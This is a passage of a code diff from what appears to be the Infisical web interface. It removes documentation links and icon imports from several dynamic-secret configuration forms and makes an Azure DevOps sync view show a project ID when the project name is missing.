<div>
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
Configuration
<a
href="https://infisical.com/docs/documentation/platform/dynamic-secrets/snowflake"
target="_blank"
rel="noopener noreferrer"
>
<div className="mb-1 ml-2 inline-block rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
<FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
Docs
<FontAwesomeIcon
icon={faArrowUpRightFromSquare}
className="mb-[0.07rem] ml-1.5 text-xxs"
/>
</div>
</a>
</div>
<div className="flex flex-col">
<div className="flex items-center space-x-2">

View File

@ -1,6 +1,4 @@
import { Controller, useForm } from "react-hook-form";
import { faArrowUpRightFromSquare, faBookOpen } from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import { zodResolver } from "@hookform/resolvers/zod";
import { z } from "zod";
@ -146,20 +144,6 @@ export const TotpInputForm = ({
<div>
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
Configuration
<a
href="https://infisical.com/docs/documentation/platform/dynamic-secrets/totp"
target="_blank"
rel="noopener noreferrer"
>
<div className="mb-1 ml-2 inline-block rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
<FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
Docs
<FontAwesomeIcon
icon={faArrowUpRightFromSquare}
className="mb-[0.07rem] ml-1.5 text-xxs"
/>
</div>
</a>
</div>
<div className="flex flex-col">
<Controller

View File

@ -1,10 +1,5 @@
import { Controller, FieldValues, useFieldArray, useForm } from "react-hook-form";
import {
faArrowUpRightFromSquare,
faBookOpen,
faQuestionCircle,
faTrash
} from "@fortawesome/free-solid-svg-icons";
import { faQuestionCircle, faTrash } from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import { zodResolver } from "@hookform/resolvers/zod";
import { useQuery } from "@tanstack/react-query";
@ -285,20 +280,6 @@ export const EditDynamicSecretKubernetesForm = ({
<div>
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
Configuration
<a
href="https://infisical.com/docs/documentation/platform/dynamic-secrets/kubernetes"
target="_blank"
rel="noopener noreferrer"
>
<div className="mb-1 ml-2 inline-block cursor-default rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
<FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
Docs
<FontAwesomeIcon
icon={faArrowUpRightFromSquare}
className="mb-[0.07rem] ml-1.5 text-xxs"
/>
</div>
</a>
</div>
<div className="flex flex-col">
<div className="flex items-center space-x-2">

View File

@ -1,6 +1,4 @@
import { Controller, useForm } from "react-hook-form";
import { faArrowUpRightFromSquare, faBookOpen } from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import { zodResolver } from "@hookform/resolvers/zod";
import ms from "ms";
import { z } from "zod";
@ -186,20 +184,6 @@ export const EditDynamicSecretSnowflakeForm = ({
<div>
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
Configuration
<a
href="https://infisical.com/docs/documentation/platform/dynamic-secrets/snowflake"
target="_blank"
rel="noopener noreferrer"
>
<div className="mb-1 ml-2 inline-block rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
<FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
Docs
<FontAwesomeIcon
icon={faArrowUpRightFromSquare}
className="mb-[0.07rem] ml-1.5 text-xxs"
/>
</div>
</a>
</div>
<div className="flex flex-col">
<div className="flex items-center space-x-2">

View File

@ -1,6 +1,4 @@
import { Controller, useForm } from "react-hook-form";
import { faArrowUpRightFromSquare, faBookOpen } from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import { zodResolver } from "@hookform/resolvers/zod";
import { z } from "zod";
@ -138,20 +136,6 @@ export const EditDynamicSecretTotpForm = ({
<div>
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
Configuration
<a
href="https://infisical.com/docs/documentation/platform/dynamic-secrets/totp"
target="_blank"
rel="noopener noreferrer"
>
<div className="mb-1 ml-2 inline-block rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
<FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
Docs
<FontAwesomeIcon
icon={faArrowUpRightFromSquare}
className="mb-[0.07rem] ml-1.5 text-xxs"
/>
</div>
</a>
</div>
<div className="flex flex-col">
<Controller

View File

@ -7,8 +7,12 @@ type Props = {
export const AzureDevOpsSyncDestinationSection = ({ secretSync }: Props) => {
const {
destinationConfig: { devopsProjectName }
destinationConfig: { devopsProjectName, devopsProjectId }
} = secretSync;
return <GenericFieldLabel label="Project">{devopsProjectName}</GenericFieldLabel>;
return (
<GenericFieldLabel label={devopsProjectName ? "Project" : "Project ID"}>
{devopsProjectName || devopsProjectId}
</GenericFieldLabel>
);
};